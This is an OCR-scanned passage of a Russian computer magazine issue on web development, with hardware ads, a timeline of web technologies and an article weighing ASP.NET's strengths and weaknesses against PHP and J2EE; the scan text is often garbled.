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мт» Двигаися в ногу со временем! 


computer 


Одноядерный процессор - это вчерашний день! 

Уже сегодня возможности ОДНОГО ПК AdvaNT AGE на базе нового ДВУХядерного Процессора Intel® 
Pentium® D значительно шире! Новая ДВУХядерная обработка информации дает компьютеру 
дополнительную мощность там, где она нужна. Всего ОДИН компьютер позволяет Вашим детям играть 
в игры, в то время как Вы смотрите фотографии с ПК на экране TV, качаете музыку и наслаждаетесь 

жизнью и общением в ДВА раза больше. 


Pentium’ О 
inside™ 


На подходе WEB 2.0 и новые технологии. Прошли 
времена домашних страничек и использования 
«голого» HTML. М/еб-кодинг уже давно не просто 
красивое словечко, а неотьемлемая составляю- 
щая любого проекта в Сети. 

Жизнь без РНР и CMS немыслима, а от 
AJAXa и меб-сервисов не сидится на месте. Перс- 
пективы добираются до горизонта фантазии... 

Чем безумнее твоя задумка, тем выше веро- 
ятность того, что тебе понадобятся последние на- 
работки в сайтостроении. Все доступно, все прос- 
то, все реально! 


Андрей Каролик 


Мнение редакции не всегда совпадает с мнением авторов. 
Все материалы этого номера представляют собой лишь информацию к размышлению. 
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АПРЕЛЬСКИЙ НОМЕР СПЕЦА 
ОБНОВЛЕНИЯ WINDOWS ЗА МЕСЯЦ 


МНОГО-МНОГО ЛЕТ НАЗАД НЕСЧАСТНЫЕ 
ЕГИПЕТСКИЕ РЕБЯТА, ИСТЕКАЯ ПОТОМ 

И КРОВЬЮ, ТАСКАЛИ ОГРОМНЫЕ БУЛЫЖ- 
НИКИ И СТРОИЛИ ШАЛАШИ СВОИМ ФА- 
РАОНАМ. РАБОТЫ МНОГО — ПРОИЗВОДИ- 
ТЕЛЬНОСТИ НИКАКОЙ. А ВСЕ ПОЧЕМУ? 


ВСЕ ИЗ-ЗА НЕСОВЕРШЕНСТВА ПРОЦЕС- 
СА, ИЗ-ЗА НЕХВАТКИ ИНСТРУМЕНТОВ! 
СЕЙЧАС ВСЕ ПО-ДРУГОМУ. ПОЧЕМУ? ПО- 
ТОМУ ЧТО ТЫ ДЕРЖИШЬ В РУКАХ ЭТОТ 
ЖУРНАЛ! А В НЕМ ЦЕЛЫЙ ЯЩИК 

С ИНСТРУМЕНТАМИ — ДИСК. ТАК ЧТО 
ДЕРЗАЙ И СТРОЙ СВОЮ ПИРАМИДУ! 


КОМПАНИЯ 


< кит 


COMPANY 


НАДЕЖНЫ ВО ВСЕМ! 


_ ТВОЕ, ПРЕВОСХОДСТВО над. пол ВННКОмМ 


Компьютер KIT САМЕВ GR www.kitcom.ru 
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= Corn р Ана 
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КАК ЗАКАЛЯЛСЯ ВЕБ 


МЫ НЕ ПРЕТЕНДУЕМ НА ЗВАНИЕ ТВОЕЙ ЭНЦИКЛОПЕДИИ 
(НАМ ЭТОГО И НЕ НАДО), ТОЛЬКО ХОТИМ НАПОМНИТЬ 
О НЕСКОЛЬКИХ ВЕСЬМА ЗАНЯТНЫХ ДАТАХ И ФАКТАХ, 


МАЛО КОМУ ИЗВЕСТНЫХ 


АНДРЕЙ КАРОЛИК 
{andrusha@real 


В отличие от многих других языков 
программирования, РНР 
(www.php-net) был создан не ка- 
кой-либо корпорацией, а обычным 
пользователем Расмусом Лердор- 
фом. Его цель была простой — сде- 
лать свою домашнюю страничку бо- 
лее интерактивной. Оказывается, 
тогда РНР было сокращением от 
Personal Home Page Tools. Уже к 
концу 1999 года число сайтов, пост- 
роенных на основе РНР, перевали- 
ло за миллион. Важное достоинство 
РНР состояло в том, что были соз- 


1995 


Выпущена первая версия (0.6.2) 
сервера Араспе (www.apache.org), 
Позже Apache Group была расши- 
рена и зарегистрирована как не- 
коммерческая организация, члены 
которой взаимодействуют только 
через интернет. Тысячи разработ- 
чиков со всего мира добавляют но- 


хакер. ги} 


даны версии практически для всех 
операционных систем — 
от Windows до Unix и Linux. 


вые свойства, обнаруживают и исп- 
равляют ошибки, переносят прог- 
рамму на альтернативные плат- 
формы и т.д., но последнее слово и 
решение о внесении соответствую- 
щих изменений в стандартную пос- 
тавку web-cepBepa Apache остается 
за группой. 
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Тимом Бирнерсом-Ли основан 
международный консорциум 
(www.w3.org), объединяющий 
компании, связанные с развитием 
интернета. Цель организации — раз- 
работка открытых стандартов для 
развития всемирной сети. Все спе- 
цификации и стандарты утвержда- 
ются именно этим консорциумом: 
HTML, CSS, XML, XHTML ит.д. Ha 
сайте размещены ссылки Ha пере- 
водные материалы, что очень удоб- 
HO (www.w3.org/2005/11/Trans- 


lations/Lists/ListLang-ru.html), 


1997 


RSS (www.eopta.com/spec/rss/) — 
семейство XML-cbopmartos, предназ- 
наченных для описания лент новос- 
тей, анонсов статей, изменений в 
блогах и т.п. Информацию из раз- 
личных источников, представлен- 
ную в формате RSS, соберут, 
обработают и представят пользова- 
телю в удобном для него виде спе- 
циальные программы-агрегаторы. 
Многие современные браузеры и 
почтовые клиенты умеют работать 


с В5$-лентами, среди них: Safari, 
Maxthon, Mozilla Firefox, Mozilla 
Thunderbird, Opera u Microsoft 
Internet Explorer. 


RSS at MoNEWS Media Law 
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Появился журнал для меб-мастеров 
(ммм. мебтазсоп. сот). [10 СЛО- 
вам его создателя, цель проекта — 
донести до русскоязычных жильцов 
интернета информацию о меБ-дизай- 
не, ранее бывшую доступной только 
на английском языке. Глобальная 
цель — пропаганда качественного, 
чистого, культурного и стандартного 
миеБ-дизайна. Материалы для nepe- 
вода берут с англозычных ресурсов: 


ww-alistapart.com, 


ww.useit.com/alertbox/, 


ww.boxesandarrows.com, 


ww.digital-web.com, 


BO 8 G8 


ww.stopdesign.com, 


www.adaptivepath.com. 


.МЕТ (произносится «дот-нэт») — 
программная технология, предложен- 
ная Microsoft ( www.microsoft.com- 
Inet/default.mspx) в качестве плат- 
формы для создания как обычных 
программ, так и меб-приложений. Bo 
многом .МЕТ развивает идеи и прин- 
ципы, заложенные в технологии Java. 
Одной из основных идей .МЕТ являет- 


SOAP (www.w3.org/TR/soap/) — 
протокол обмена структурированны- 
ми сообщениями в распределенной 
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чально ЗОАР предназначался в ос- 
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вызова процедур (RPC), а название 


пользуется для обмена произвольны- 
ми сообщениями в формате XML, 
а не только для вызова процедур. 


ны было аббревиатурой: Simple Object 

Access Protocol — простой протокол 
ыы, tani, доступа к объектам. Сейчас ЗОАР ис- 
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ся совместимость служб, написанных 
на разных языках. К примеру, служ- 
ба, написанная на С++ для .МЕТ, мо- 
жет обратиться к методу класса из 
библиотеки, написанной на Delphi. 
Каждая библиотека (сборка) в .МЕТ 
имеет сведения о своей версии, что 
позволяет предотвратить конфликты 
между разными версиями сборок. 


Появление термина Web 2.0 принято 
связывать со статьей Tim О’Вейу — 


What Is Web 2.0 (www.oreillynet.com/ 
pub/a/oreilly/tim/news/2005/09 


130/what-is-web-20.html), 


В статье Тим О’Рейли связал появле- 


ние множества сайтов, объединенных 
некоторыми принципами, с общей 
тенденцией развития интернет-сооб- 
щества и назвал это явление Web 2.0. 
Добавим, что о значении этого терми- 
на до сих пор много спорят. 


Появился один из первых реально 
работающих проектов на AJAX 
(асинхронный JavaScript + XML) — 
Gmail (www.gmail.com), Однако 
до сих пор нельзя сказать, что AJAX 


совместим со всеми браузерами: на 
многих браузерах АЗАХ-приложения 
просто не работают (хотя его поддер- 
живают последние версии IE, Firefox 
и даже Орега с восьмой версии). 
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> = история болезни. Успехи ASP.NET очевидны. 
Рекордсменом можно считать ресурс MySpace.com, 
созданный на основе ASP.NET 2.0 и работающий 
под управлением IIS 6.0. Количество посещений 
этого ресурса в течение дня достигло полутора 
миллиардов страниц в день. Как блог, для Китая 
пока не тянет? Все-таки оцени еще пару фактов. 
Переход MySpace.com на технологию ASP.NET с 
«другой» технологии занял один год (ранее ис- 
пользовавшуюся технологию в источниках не на- 
зывают, наверное, чтобы не портить настроение 
нам с тобой). В результате перехода средняя заг- 
рузка серверов упала с 85% до 27%. Впечатляет? 
Как мер-разработчика — да! 

Тебя впечатляет вид Эйфелевой башни или 
Ниагарского водопада? А вид традиционных 
японских статуэток нэцкэ? Наверное, тоже. На 
этот раз мы поговорим о масштабах. Возможно, 
успехи не-мпао\м/з-ориентированных систем раз- 
работки и развертывания меб-приложений мало 
заметны на фоне грандиозных показателей таких 
гигантов, как MSN или eBay. Но это только вер- 
хушка айсберга рынка \меб-приложений. С одной 
стороны, на верхних строчках поисковых запросов 
находятся крупные ресурсы, созданные с по- 


проверка на прочность 


мощью АЗР.МЕТ в количестве, скажем, десяти 
штук. С другой стороны, остаются сотни тысяч ре- 
сурсов, созданных с помощью иных технологий. 

Оценивая эволюцию ASP, можно сказать, 
что каждый ее этап был качественным и необхо- 
димым. Функциональность каждого нового поко- 
ления расширялась за счет упрощения средств 
создания приложений и увеличения количества 
доступных инструментов. 

На первом этапе была реализация, аналогич- 
ная CGI (Common Gateway Interface), — ISAPI (Internet 
Server Application Programming Interface). Поскольку 
«родиной» меб-приложений является операционная 


ПЕРСПЕКТИВЫ ASP.NET 


МЫ ПОГОВОРИМ О КОРПОРАЦИИ 
MICROSOFT И ЕЕ ОЧЕРЕДНОМ ШАГЕ 
В БОРЬБЕ ЗА ОБЛАСТЬ РЫНКА, 
СВЯЗАННУЮ С РАЗРАБОТКОЙ WEB- 
ОРИЕНТИРОВАННЫХ ПРИЛОЖЕНИЙ. 
ЭТОТ ШАГ — ТЕХНОЛОГИЯ ASP.NET 


АРТЕМ ИВАНОВ 
{no e-mail} 


система Unix, методы их реализации построены в CO- 
ответствии с идеологией этой операционной систе- 
мы. Не углубляясь в подробности, можно выделить 
основную особенность этой идеологии — вызов ин- 
терпретатора через СС!-интерфейс. С точки зрения 
производительности, не лучший вариант. ISAPI-npu- 
ложение, в свою очередь, представлялось в виде ди- 
намически присоединяемой библиотеки (DLL), кото- 
рая выполнялась в процессе web-cepBepa. Это поз- 
волило увеличить производительность и создать бо- 
лее сложные схемы построения меБ-приложений. 
Однако приходилось останавливать сервер для об- 
новления [ЗАР!-библиотек — огромный недостаток. 


ИСПОЛЬЗОВАНИЕ ASP ПОЗВОЛИЛО УПРОСТИТЬ 
И УСКОРИТЬ ПРОЦЕСС РАЗРАБОТКИ И ОТЛАДКИ 


ПРИЛОЖЕНИЯ 


Следующий этап стал ключевым в формировании 
современного представления о меБ-разработке, а 
именно — разделение слова «\ммеБ-разработка» на 
«web» и «разработка». В новой идеологии часть 
работы, имеющая отношение к внешнему оформ- 
лению web-cavita, перекладывалась на плечи од- 
ного человека — дизайнера, а часть, которая ка- 
сается функционального ядра приложения, — на 
плечи программиста. Благодаря использованию 
ASP (Active Server Pages) был ускорен и упрощен 
процесс разработки и отладки приложения. Одна- 
ко возможны случайные нарушения его работос- 
пособности, так как элементы оформления и 
функциональная начинка объединены в одном до- 
кументе. Такими нарушителями друг для друга 
становились и дизайнеры, и разработчики проек- 
та. Также отрицательно сказывалась необходи- 
мость вызывать интерпретатор для выполнения 
скриптовых языков внутри АЗР-страницы. Проце- 
дура небыстрая и постоянно повторяемая, то есть 
неоптимальная в плане производительности. 


эффективность 


ЭФФЕКТИВНОСТЬ ЯЗЫКОВ СЕМЕЙСТВА 
МЕТ, В ЧАСТНОСТИ C#, РАСТЕТ 

С КАЖДОЙ НОВОЙ ВЕРСИЕЙ. ВСПОМИ- 
НАЯ РАЗРАБОТКУ НА С, МОЖНО СКА- 
ЗАТЬ, ЧТО 25% ВРЕМЕНИ РАБОТЫ НАД 
ПРОЕКТОМ УХОДИЛО НА РАЗРАБОТКУ, 
А 75% — НА ОТЛАДКУ И ТЕСТИРОВАНИЕ. 
В СЛУЧАЕ С С++ ЭТИ ПОКАЗАТЕЛИ 
СРАВНЯЛИСЬ: 50% НА 50%. ГОВОРЯ 

О С#, МОЖНО СМЕЛО УТВЕРЖДАТЬ, ЧТО 
СООТНОШЕНИЕ ДОСТИГНЕТ УРОВНЯ 
75% НА 25% СООТВЕТСТВЕННО. 


Чтобы оценить заметность улучшений, достаточно взглянуть на листинги кода разных 


версий .МЕТ Framework 


Версия 2.0 


namespace WebApp1 
{ 


public class WebForm1 : Page 


protected Label Label1; 


namespace WebApp1 

{ 
public partial class Webform1 
{ 
} 


private void Page_Load(object sender, System.EventArgs e) } 


{ 
} 
#region Web Form Designer generated code 
override protected void Onlnit(EventArgs e) 
{ 
InitializeComponent(); 
base.Onlnit(e); 
} 
private void InitializeComponent() 


{ 


this.Load += new System.EventHandler(this.Page_Load); 


} 


#endregion 


> кратко об устройстве ASP.NET. Сегодня 
АЗР.МЕТ представляет собой смесь нескольких 
технологий: 


— ЯЗЫКИ СЕМЕЙСТВА .NET; 


— СРЕДА ИСПОЛНЕНИЯ ОБЩИХ ЯЗЫКОВ 
(COMMON LANGUAGE RUNTIME — CLR); 


—` БИБЛИОТЕКА КЛАССОВ .NET; 
“ СЛУЖБЫ ASP.NET; 


™ СРЕДА РАЗРАБОТКИ VISUAL 
STUDIO .NET. 


Важно наличие готовых решений, OHO отлично ус- 
коряет процесс разработки. Тебе не придется раз- 
рабатывать какие-либо дополнительные библиоте- 
ки для своих нужд — они уже есть в ASP.NET. 


1 МЕВ-ФОРМЫ И СЕТЕВЫЕ КОМПО- 
НЕНТЫ. ПОЗВОЛЯЮТ ПЕРЕЛОЖИТЬ УП- 
РАВЛЕНИЕ ОТРИСОВКОЙ НТМ!-СТРАНИ- 
ЦЫ НА ASP.NET И ЗАНЯТЬСЯ РАЗРАБОТ- 
КОЙ ФУНКЦИОНАЛЬНОЙ ЧАСТИ. ТЫ 
СМОЖЕШЬ ПЕРЕГРУЗИТЬ ЛЮБОЙ ЭЛЕ- 
МЕНТ УПРАВЛЕНИЯ ПОД СВОИ НУЖДЫ 
И СДЕЛАТЬ ШАГ К СОЗДАНИЮ СИСТЕМЫ 
ПОДДЕРЖКИ КОНТЕНТА (CMS). 


2 КОМПОНЕНТЫ ОТОБРАЖЕНИЯ ДАН- 
НЫХ И КОНТРОЛЯ ВВОДА. СРЕДИ ГО- 
ТОВЫХ РЕШЕНИЙ ТЫ НАЙДЕШЬ: ПРО- 
ВЕРКУ ВВОДИМЫХ ДАННЫХ, ПРОВЕРКУ 
С ИСПОЛЬЗОВАНИЕМ РЕГУЛЯРНЫХ ВЫ- 
РАЖЕНИЙ, КАЛЕНДАРЬ, ДОСКУ ОБЪЯВ- 
ЛЕНИЙ, ГЕНЕРАТОР СЛОЖНЫХ ТАБЛИЦ 
И ДРУГИЕ КОМПОНЕНТЫ, ДОСТУПНЫЕ 
ДЛЯ СКАЧИВАНИЯ С САЙТА www.asp.net, 


3 ДОСТУП К БАЗАМ ДАННЫХ. ТЕХНО- 
ЛОГИЯ ADO.NET ПОЗВОЛЯЕТ ВЗАИМО- 
ДЕЙСТВОВАТЬ С БАЗАМИ ДАННЫХ ВНЕ 
ЗАВИСИМОСТИ ОТ ИХ ТИПА. В ПОСЛЕД- 
НЕЙ ВЕРСИИ ADO.NET РАЗРАБОТЧИКИ 
MICROSOFT ХОРОШО ПОТРУДИЛИСЬ 
НАД ОПТИМИЗАЦИЕЙ И ЗНАЧИТЕЛЬНО 
ПОВЫСИЛИ ПРОИЗВОДИТЕЛЬНОСТЬ. 


4 ДОСТУП К ФАЙЛАМ, ПОТОКАМ ВВО- 
ДА-ВЫВОДА, ЭЛЕКТРОННОЙ ПОЧТЕ. 
НАБОР ПРОСТЫХ В ИСПОЛЬЗОВАНИИ 
КЛАССОВ ЗНАЧИТЕЛЬНО ОБЛЕГЧАЕТ 
ЖИЗНЬ ПРИ РАБОТЕ С ФАЙЛОВОЙ СИС- 
ТЕМОЙ, ПОТОКАМИ И ОТПРАВКОЙ 
ЭЛЕКТРОННОЙ ПОЧТЫ. 


5 РАБОТА С XML. СКОЛЬКО БЫ НИ ГО- 
ВОРИЛИ ОБ ИЗЛИШНЕЙ СТРУКТУРНОЙ 
СЛОЖНОСТИ ФОРМАТА XML, РАБОТА С 
ЭТИМ ФОРМАТОМ ОДНОЗНАЧНО ЗАТРО- 
НЕТ ЛЮБОГО РАЗРАБОТЧИКА. СРЕД- 
СТВА, ПРЕДСТАВЛЯЕМЫЕ ASP.NET, OBb- 
ЕДИНЯЮТ В СЕБЕ УДОБНЫЙ НАБОР 
КЛАССОВ ДЛЯ РАБОТЫ С XML-AHHbI- 
МИ. ХРАТН — ЯЗЫК ВЫПОЛНЕНИЯ ЗАП- 
POCOB, XSL — ЯЗЫК ПРЕОБРАЗОВА- 
НИЙ. В АРСЕНАЛЕ ASP.NET ПРИПАСЕН 
МОЩНЫЙ ИНСТРУМЕНТ — VISUAL 
STUDIO, ПОЭТОМУ КОНКУРЕНТЫ ТЕРЯ- 
ЮТ АБСОЛЮТНО ВСЕ ШАНСЫ. В ОБЛАС- 
ТИ ОКОННЫХ ИНТЕРФЕЙСОВ 
MICROSOFT ВНЕ ДОСЯГАЕМОСТИ. 


> улучшения. Подтверждением роста ASP.NET 
можно считать выход второй версии .МЕТ Егате- 
work и улучшения в новой версии, которые пере- 
числены ниже. 
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Обобщенный результат по нескольким исследованиям 


ASP.NET 


5 3 
5 4 
5 2 
5 3 
5 4 
4 5 
5 5 
2 = 
4 5 


т 


ООП, функциональность языка 
Документированность 

Удобство среды разработки 

Наличие дополнительных библиотек 
Производительность больших систем 
Производительность малых систем 
Безопасность 

Стоимость платформы 

Стоимость разработки и поддержки 


a) | марко ю ays 
оо ых | 


Сравнение производительности языков 


Время выполнения, с Память, Кб Кол-во строк кода 
С (Intel) 4,05 4284 80 
С (gcc) 4,12 4528 80 
С++ (9++) 5,05 7008 38 
C++ (Intel) 5,23 6516 38 
Java (JDK) 8,23 23636 39 
C# (Mono) 8,45 21416 42 
Perl 249,39 37516 36 
PHP 519,68 99912 40 


> изменение модели кодирования и связыва- покрывает большинство типичных задач по раз- 
ния меБ-страницы и кода. В новой версии все  вертыванию \меБ-приложения. 

операции по определению элементов страницыи - расширение функциональности страницы. 
событий производятся автоматически, что повы- В новой версии введены новые события для более 
шает читабельность кода и упрощает разработку. — полного контроля над жизненным циклом страни- 
> изменение модели компиляции. В первой цы, а также возможности межстраничного обмена 
версии все элементы со встроенным кодом прину- данными. 

дительно размещались на мер-сайте — и их мог- -  усовершенствованные методы кеширова- 
ли украсть (заинтересованные лица aka хакеры). ния. В новом подходе к кешированию используют- 
Во второй версии более тщательно проработаны CA страничное, фрагментное и объектное кеширо- 
четыре модели компиляции, каждая их которых вание, благодаря чему возможно более эффек- 
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Интерфейс Zend для РНР 


диагноз 


ТЕХНОЛОГИЯ ASP.NET МОЖЕТ СТАТЬ 
ТЕМ ОРУЖИЕМ, КОТОРОЕ ПРИГОДИТСЯ 
ТЕБЕ ДЛЯ РЕШЕНИЯ СОВЕРШЕННО 
РАЗНЫХ ЗАДАЧ — И СОЗДАНИЯ САЙТА- 
ВИЗИТКИ, И РЕАЛИЗАЦИИ СЛОЖНОГО 
ИНТЕРФЕЙСА ДОСТУПА К ИНТЕРНЕТ- 
МАГАЗИНУ. ПРАВДА, ПЕРЕД НАЧАЛОМ 
РАЗРАБОТКИ ОЧЕНЬ ВАЖНО ИЗУЧИТЬ 
СИЛЬНЫЕ И СЛАБЫЕ СТОРОНЫ ДАННОЙ 
ТЕХНОЛОГИИ. 


тивно разделять динамическую и статическую 
части передаваемых \меБ-страниц. 

> повышение производительности. Скорость 
работы стека событий повышена на 30%. Мощ- 
ность web-cepBepa IIS 6.0 возросла, многие его 
функции работают на уровне ядра Windows. 


сильные стороны ASP.NET: 
—`РАЗДЕЛЕННАЯ МОДЕЛЬ. РАЗДЕЛЕНИЕ 
РАЗМЕТКИ И ФУНКЦИОНАЛЬНОГО КОДА 
ПОЗВОЛЯЕТ ИЗБЕЖАТЬ НАРУШЕНИЙ 
В РАБОТЕ М/ЕВ-ПРИЛОЖЕНИЯ. ВОЗ- 
МОЖНОСТЬ СВЯЗЫВАНИЯ СОБЫТИЙ 
И ОТОБРАЖЕНИЯ ДАННЫХ НА КЛИЕН- 
ТСКОЙ СТОРОНЕ И ИХ ОБРАБОТКА НА 
СЕРВЕРНОЙ СТОРОНЕ ПОЗВОЛЯЕТ РЕА- 
ЛИЗОВАТЬ СЛОЖНЫЕ СХЕМЫ ВЗАИМО- 
ДЕЙСТВИЯ. 


— ШИРОКИЙ ВЫБОР .NET ЕВАМЕМ/ОВК- 
БИБЛИОТЕК. БОГАТЫЙ НАБОР БИБЛИО- 
ТЕК С РАЗЛИЧНОЙ ФУНКЦИОНАЛЬ- 
НОСТЬЮ ПОЗВОЛЯЕТ ИСПОЛЬЗОВАТЬ 
ИХ ДЛЯ ОТПРАВКИ Е-МА!-СООБЩЕНИЙ, 
РАБОТЫ С ХМЕ-ДАННЫМИ, ГРАФИЧЕСКО- 
ГО ПРЕДСТАВЛЕНИЯ ДАННЫХ, ДОСТУПА 
К БАЗАМ ДАННЫХ И ДРУГИХ ЗАДАЧ. 


— БЕЗОПАСНОСТЬ. НЕ УДИВЛЯЙСЯ. НО- 
ВОСТИ ОБ ОБНАРУЖЕННЫХ УЯЗВИМОС- 
TAX В ПРОДУКТАХ MICROSOFT ПОЯВЛЯ- 
ЮТСЯ ЧАСТО И БЫСТРО РАСПРОСТРА- 
НЯЮТСЯ, НО ЭТИ УЯЗВИМОСТИ УСТРА- 
НЯЮТСЯ ТАК ЖЕ БЫСТРО. ВСЕ-ТАКИ 
ОГРОМНЫЕ ДЕНЕЖНЫЕ СРЕДСТВА, 
ВЛОЖЕННЫЕ В ПОДДЕРЖКУ ЭТИХ ПРО- 
ДУКТОВ, ЗАСТАВЛЯЮТ ДЕРЖАТЬ УДАР. 
ПЛЮС, ПРИЗНАЕМСЯ САМИ СЕБЕ, ХАКЕ- 
РЫ РЕАГИРУЮТ НА ПРОДУКТЫ 
MICROSOFT КАК БЫКИ НА КРАСНУЮ 
ТРЯПКУ. 


“ ЭФФЕКТИВНОСТЬ, ФУНКЦИОНАЛЬ- 
НОСТЬ И ООП. С ТОЧКИ ЗРЕНИЯ ОБЪЕ- 
КТНО-ОРИЕНТИРОВАННОГО ПОДХОДА, 
ЛЮБОЙ РАЗРАБОТЧИК ТОЛЬКО С БОЛЬ- 
ШИМ ТРУДОМ НАЙДЕТ ЧТО-ТО БОЛЕЕ 
ЭФФЕКТИВНОЕ И УДОБНОЕ, ЧЕМ ВЫ- 


Библиотека классов 


„МЕТ 


Доступ к данным АБО. МЕТ 
\/еб-формы 
XML 
Файловый ввод/вывод 
Потоки сериализации и т.д. 


Код 
Код С# VB.NET Kog Ha... 


Компилятор и 
загрузчик 


Общая среда 
исполнения (CLR) 


Проверка и оптимизация кода 
Управление памятью и сбор мусора 
Безопасность доступа к коду 


Среда .NET 


БОР ИЗ ЯЗЫКОВ C#, VB.NET, 

J#.NET И ДР. ТЫ МОЖЕШЬ ИСПОЛЬЗО- 
ВАТЬ ВСЕ СИЛЬНЫЕ СТОРОНЫ ЭТИХ 
ЯЗЫКОВ И ИХ ОТЛИЧИЯ ОТ ИНТЕРПРЕ- 
ТИРУЕМЫХ ЯЗЫКОВ: ЖЕСТКАЯ ТИПИЗА- 
ЦИЯ ДАННЫХ, СТРУКТУРИРОВАННАЯ ОБ- 
РАБОТКА ОШИБОК И ЧИСТОТА ЯЗЫКА. 


— СРЕДА РАЗРАБОТКИ. БОГАТЫЕ СРЕД- 
СТВА РАЗРАБОТКИ И ОТЛАДКИ СПОЛНА 
РЕАЛИЗОВАНЫ В СРЕДЕ VISUAL STUDIO. 
ЭТО, ПОЖАЛУЙ, ГЛАВНЫЙ ПОМОЩНИК 
В ПРОДВИЖЕНИИ ТЕХНОЛОГИИ ASP.NET. 


—` ДОКУМЕНТАЦИЯ. MSDN ОГРОМЕН, 
КАК ВСЕЛЕННАЯ, В ЧЕМ И СОСТОИТ 
ЕГО ПОЛОЖИТЕЛЬНАЯ И ОТРИЦАТЕЛЬ- 
НАЯ СТОРОНА. 


— ПРОИЗВОДИТЕЛЬНОСТЬ ASP.NET. 
ДОВОДОВ В ПОЛЬЗУ ASP.NET СТОЛЬКО 
ЖЕ, СКОЛЬКО ПРОТИВ НЕГО. НУЖНО 
СКАЗАТЬ, ЧТО ПРОИЗВОДИТЕЛЬНОСТЬ 
МЕВ-ПРИЛОЖЕНИЯ ЦЕЛИКОМ ЗАВИСИТ 
ОТ ТВОЕГО ОПЫТА КАК РАЗРАБОТЧИКА 
И ЛИШЬ ЧАСТИЧНО — ОТ ПРОИЗВОДИ- 
ТЕЛЬНОСТИ АППАРАТНОЙ СОСТАВЛЯЮ- 
ЩЕЙ СИСТЕМЫ. 


отрицательные стороны: 

“ СТОИМОСТЬ ПЛАТФОРМЫ. ДЛЯ СОЗ- 
ДАНИЯ ПЛАТФОРМЫ, НА КОТОРОЙ 
МОЖНО С НУЛЯ РАЗРАБОТАТЬ И РАЗ- 
ВЕРНУТЬ М/ЕВ-ПРИЛОЖЕНИЕ, TEBE ПО- 
НАДОБИТСЯ ВНУШИТЕЛЬНЫЙ СПИСОК 
ПРОДУКТОВ ФИРМЫ MICROSOFT. СРЕДИ 
НИХ: ОПЕРАЦИОННАЯ СИСТЕМА, СРЕДА 
РАЗРАБОТКИ, БАЗА ДАННЫХ И ДР. ОБ- 
ЩАЯ СТОИМОСТЬ МОЖЕТ ПРЕВЫСИТЬ 
НЕСКОЛЬКО ТЫСЯЧ ДОЛЛАРОВ. 


~~ СЛОЖНОСТЬ ИЗУЧЕНИЯ. СЛОЖНАЯ НЕ- 
ЛИНЕЙНАЯ АРХИТЕКТУРА ОБЯЗАТЕЛЬ- 
НО ПОДРАЗУМЕВАЕТ МАССУ ВРЕМЕНИ 
НА EE ИЗУЧЕНИЕ. НОВИЗНА ТЕХНОЛО- 
ГИИ И ОТСУТСТВИЕ ИНФОРМАТИВНОЙ 
ЛИТЕРАТУРЫ ТАКЖЕ УСЛОЖНЯЮТ СИ- 
ТУАЦИЮ. ВОЗМОЖНО, ПОЭТОМУ 
АЗР.МЕТ-РАЗРАБОТЧИКИ СЕЙЧАС ВОСТ- 
РЕБОВАНЫ И ХОРОШО ОПЛАЧИВАЮТСЯ. 


— ЗАКРЫТЫЙ ИСХОДНЫЙ КОД. НЕИЗ- 
БЕЖНОЕ ЗЛО В ПОЗИЦИИ MICROSOFT 
ОТНОСИТЕЛЬНО ОТКРЫТОСТИ КОДА, 
ИЗ-ЗА КОТОРОГО ОСЛОЖНЯЕТСЯ 
ЖИЗНЬ МНОЖЕСТВА РАЗРАБОТЧИКОВ. 


Многие отрицательные стороны можно считать осо- 
бенностями. Неподъемный бюджет и закрытый ис- 
ходный код в реализации от Microsoft сейчас не 
представляют проблемы, так как уже существует отк- 
рытый аналог ASP.NET для He-windows-nnatcbopm. 
Есть открытый проект, поддерживающий мульти- 
платформенную реализацию ASP.NET, — Mono 
Project (www.go-mono.com), Несмотря Ha неполную pea- 
лизацию некоторых функциональных частей, HEKOTO- 
рое количество ошибок и нестабильную производи- 
тельность, эта альтернатива работоспособна. 

> конкуренты и перспективы. Альтернативные 
разработки все-таки появляются, и это также сви- 
детельствует об АЗР.МЕТ как об удачном реше- 
нии. Но не будем забывать о конкурентах, которые 
давно живут на рынке мер-технологий. 

Эти результаты — обобщение отзывов в основном 
разработчиков, собранных по большей части на 
форумах и из разрозненных результатов исследо- 
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Интерфейс \$ для АЗР.МЕТ 


ваний разных организаций. Сейчас практически 
невозможно найти абсолютные показатели, срав- 
нить которые было бы реально, — нет общих кри- 
териев для сравнения меБ-технологий. 

Как видишь, разница между интерпретируе- 
мыми языками и компилируемыми очевидна. 
Также не забудем, что эту проблему по-разному 
оценивают три стороны: заказчик, руководитель 
и разработчик. Точка зрения заказчика, как пра- 
вило, простая и неглубокая: чтобы работало хо- 
рошо, чтобы стоило мало и чтобы делалось быст- 
ро. В реальности приходится выбирать два из 
трех «чтобы». 
> заключение. Не буду рисковать и не стану 
навязывать тебе АЗР.МЕТ как панацею от всех 
бед. Можно только утверждать, что технология 
достойна высокой оценки. 

Когда разработчики на перекуре разговари- 
вают об использовании J2EE или РНР вместо С# и 
ASP.NET, все дружно плюются и говорят, что даже 
думать не хотят об этом. Несмотря на то, что все 
знают не одну и не две технологии разработки 
миеб-приложений. Когда речь заходит о покупке 
лицензии на продукты Microsoft для развертыва- 
ния системы Ha Windows Embedded, все плюются 
так же дружно и крутят пальцем у виска. 

И что делать? Решение очень простое: раз- 
работка и тестирование ведется в Visual Studio, a 
развертывание системы осуществляется с по- 
мощью связки Mono и Linux Gentoo. Конечно, так 
поступают не из-за хорошей жизни. Это решение 
содержит множество минусов и неудобств. Плохо, 
что проект Мопо поддерживается корпорацией 
Novell, и вместо зависимости от Microsoft разра- 
ботчик попадает в другую, не меньшую зависи- 
мость. Еще один минус такого решения — неста- 
бильная производительность на различных аппа- 
ратных конфигурациях. Решение неудобно и тем, 
что оно вынуждает выбирать и долго конфигури- 
ровать web-cepsBep, будь то Apache или XSP. 

Использование платформы Windows станет 
более удобным и эффективным вариантом, но 
только в будущем, в котором, конечно же, присут- 
ствует технология ASP.NET, причем только если 
Microsoft изменит позицию относительно неболь- 
ших компаний, имеющих разумный бюджет © 
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как строили 
саиты раньше 


НА ЗАРЕ САЙТОСТРОИТЕЛЬСТВА, КАК ПРАВИЛО, ИЗГОТОВЛЯЛИ СТАТИЧЕСКИЕ СТРАНИ- 
ЦЫ. ЗАМЕНА ИНФОРМАЦИИ НА НИХ БЫЛА ТРУДОЕМКИМ ПРОЦЕССОМ И ТРЕБОВАЛА ЗНА- 
НИЯ HTML. ПОЗДНЕЕ ПОЯВИЛИСЬ СВЯЗКИ PERL + HTML ИЛИ PHP + HTML, ОНИ ПОЗВОЛЯ- 
ЛИ ОБРАБАТЫВАТЬ НА СЕРВЕРНОЙ СТОРОНЕ ПРОГРАММУ, КОТОРАЯ ЗАТЕМ ГЕНЕРИРО- 
